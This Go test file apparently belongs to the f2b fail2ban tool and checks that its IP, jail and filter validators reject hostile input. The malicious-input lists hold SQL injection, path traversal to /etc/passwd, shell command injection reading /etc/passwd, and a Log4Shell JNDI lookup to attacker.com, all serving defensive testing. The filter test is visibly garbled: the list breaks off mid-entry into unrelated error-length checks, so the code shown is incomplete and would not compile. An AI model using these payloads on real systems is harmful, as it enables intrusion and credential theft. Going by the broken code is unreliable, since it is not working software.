package main
import (
"os"
"path/filepath"
"strings"
"testing"
"github.com/ivuorinen/f2b/fail2ban"
)
// testIPValidation tests IP address validation security
func testIPValidation(t *testing.T) {
// Test malicious IP patterns
maliciousIPs := []string{
"'; DROP TABLE users; --",
"../../../etc/passwd",
"\x00192.168.1.1",
"192.168.1.1\x00",
"192.168.1.1'; cat /etc/passwd",
"${jndi:ldap://attacker.com/a}",
"",
"192.168.1.999", // Invalid range
"256.256.256.256", // Invalid range
"192.168.1.1/24", // CIDR notation should be rejected
"192.168.1.1:8080", // Port should be rejected
}
for _, maliciousIP := range maliciousIPs {
err := fail2ban.ValidateIP(maliciousIP)
if err == nil {
t.Errorf("ValidateIP should reject malicious input: %s", maliciousIP)
}
}
// Test legitimate IPs
legitimateIPs := []string{
"192.168.1.1",
"10.0.0.1",
"172.16.0.1",
"127.0.0.1",
"2001:db8::1",
"::1",
}
for _, ip := range legitimateIPs {
err := fail2ban.ValidateIP(ip)
if err != nil {
t.Errorf("ValidateIP should accept legitimate IP: %s, error: %v", ip, err)
}
}
}
// testJailValidation tests jail name validation security
func testJailValidation(t *testing.T) {
// Test malicious jail patterns
maliciousJails := []string{
"'; DROP TABLE jails; --",
"../../../etc/passwd",
"\x00sshd",
"sshd\x00",
"sshd'; cat /etc/passwd",
"sshd\n\nmalicious_command",
"sshd\r\nmalicious_command",
"sshd`cat /etc/passwd`",
"sshd$(cat /etc/passwd)",
"sshd;cat /etc/passwd",
"sshd|cat /etc/passwd",
"sshd&cat /etc/passwd",
}
for _, maliciousJail := range maliciousJails {
err := fail2ban.ValidateJail(maliciousJail)
if err == nil {
t.Errorf("ValidateJail should reject malicious input: %s", maliciousJail)
}
}
// Test legitimate jails
legitimateJails := []string{
"sshd",
"nginx",
"apache",
"postfix",
"dovecot",
"sshd-ddos",
"ssh_custom",
}
for _, jail := range legitimateJails {
err := fail2ban.ValidateJail(jail)
if err != nil {
t.Errorf("ValidateJail should accept legitimate jail: %s, error: %v", jail, err)
}
}
}
// testFilterValidation tests filter validation security
func testFilterValidation(t *testing.T) {
// Test malicious filter patterns
maliciousFilters := []string{
"'; DROP TABLE filters; --",
"../../../etc/passwd",
"\x00sshd",
"sshd\x00",
"sshd'; cat /etc/passwd",
"sshd`cat /etc/passwd`",
"sshd$(cat /etc/passwd)",
"sshd;cat /etc/passwd",
"sshd|cat /etc/passwd",
"sshd&cat /etc/passwd",
// Additional command injection patterns
"filter`DANGEROUS_COMMAND`", // backtick execution
"filter$(DANGEROUS_COMMAND)", // command substitution
"filter${USER}", // variable expansion (safe)
"filter;DANGEROUS_RM_COMMAND", // command chaining
"filter|DANGEROUS_COMMAND", // pipe to command
"filter&& DANGEROUS_COMMAND", // logical AND
"filter||DANGEROUS_COMMAND", // logical OR
"filter>DANGEROUS_OUTPUT_FILE", // output redirection
"filter 200 {
t.Errorf("Error message is too verbose (>200 chars): %s", errorMsg)
}
})
}
})
}
// TestSecurityAudit_PrivilegeEscalation tests for privilege escalation vulnerabilities
func TestSecurityAudit_PrivilegeEscalation(t *testing.T) {
t.Run("SudoValidation", func(t *testing.T) {
// Test with unprivileged user
_, cleanup := fail2ban.SetupMockEnvironmentWithSudo(t, false)
defer cleanup()
// Get the mock runner set up by the environment
mockRunner := fail2ban.GetRunner().(*fail2ban.MockRunner)
// Test that sudo-requiring operations are properly gated
testCases := []string{
"fail2ban-client status",
"fail2ban-client get sshd banip",
"fail2ban-client set sshd banip 192.168.1.1",
}
for _, cmd := range testCases {
parts := strings.Fields(cmd)
_, err := mockRunner.CombinedOutputWithSudo(parts[0], parts[1:]...)
// Should not execute or should handle gracefully
t.Logf("Sudo command handling for %s: %v", cmd, err)
}
})
t.Run("RootPrivilegeDetection", func(t *testing.T) {
// Test with root privileges
_, cleanup := fail2ban.SetupMockEnvironmentWithSudo(t, true)
defer cleanup()
checker := fail2ban.GetSudoChecker()
if !checker.HasSudoPrivileges() {
t.Error("Mock sudo checker should report having privileges")
}
})
}
// TestSecurityAudit_ConcurrentSafety tests for concurrent safety vulnerabilities
func TestSecurityAudit_ConcurrentSafety(t *testing.T) {
t.Run("GlobalStateRaceConditions", func(_ *testing.T) {
// Test that global state modifications are safe
originalLogDir := fail2ban.GetLogDir()
defer fail2ban.SetLogDir(originalLogDir)
// Multiple goroutines modifying global state should not cause races
// This is tested by running with -race flag in CI
for i := 0; i < 10; i++ {
go func(id int) {
fail2ban.SetLogDir("/tmp/test-" + string(rune(id)))
fail2ban.GetLogDir()
}(i)
}
})
t.Run("CacheStatisticsSafety", func(_ *testing.T) {
processor := fail2ban.NewOptimizedLogProcessor()
// Multiple goroutines accessing cache statistics should be safe
for i := 0; i < 10; i++ {
go func() {
processor.GetCacheStats()
processor.ClearCaches()
}()
}
})
}
// testSecurityChainValidation tests the complete security validation chain
func testSecurityChainValidation(t *testing.T, jail, ip string, shouldPass, testJail, testIP bool) {
t.Helper()
// Validate jail if we should test it
if testJail {
err := fail2ban.ValidateJail(jail)
if shouldPass && err != nil {
t.Errorf("Legitimate jail should pass: %v", err)
}
if !shouldPass && err == nil {
t.Errorf("Malicious jail should be rejected")
}
}
// Validate IP if we should test it
if testIP {
err := fail2ban.ValidateIP(ip)
if shouldPass && err != nil {
t.Errorf("Legitimate IP should pass: %v", err)
}
if !shouldPass && err == nil {
t.Errorf("Malicious IP should be rejected")
}
}
// Test end-to-end log reading (only for legitimate cases)
if shouldPass {
_, err := fail2ban.GetLogLines(jail, ip)
if err != nil {
t.Errorf("Legitimate log reading should succeed: %v", err)
}
}
}
// TestSecurityAudit_Integration performs integration-level security testing
func TestSecurityAudit_Integration(t *testing.T) {
tempDir := t.TempDir()
originalLogDir := fail2ban.GetLogDir()
fail2ban.SetLogDir(tempDir)
defer fail2ban.SetLogDir(originalLogDir)
t.Run("EndToEndSecurityChain", func(t *testing.T) {
// Create test log file
logFile := filepath.Join(tempDir, "fail2ban.log")
content := "2024-01-01 12:00:00,123 fail2ban.actions [1234]: NOTICE [sshd] Ban 192.168.1.100\n"
err := os.WriteFile(logFile, []byte(content), 0600)
if err != nil {
t.Fatalf("Failed to create test log file: %v", err)
}
// Test complete security chain: input validation -> path validation -> file access
testCases := []struct {
name string
jail string
ip string
shouldPass bool
testJail bool
testIP bool
}{
{"Legitimate", "sshd", "192.168.1.100", true, true, true},
{"MaliciousJail", "sshd'; cat /etc/passwd", "192.168.1.100", false, true, false},
{"MaliciousIP", "sshd", "'; cat /etc/passwd", false, false, true},
{"PathTraversal", "../../../etc/passwd", "192.168.1.100", false, true, false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
testSecurityChainValidation(t, tc.jail, tc.ip, tc.shouldPass, tc.testJail, tc.testIP)
})
}
})
}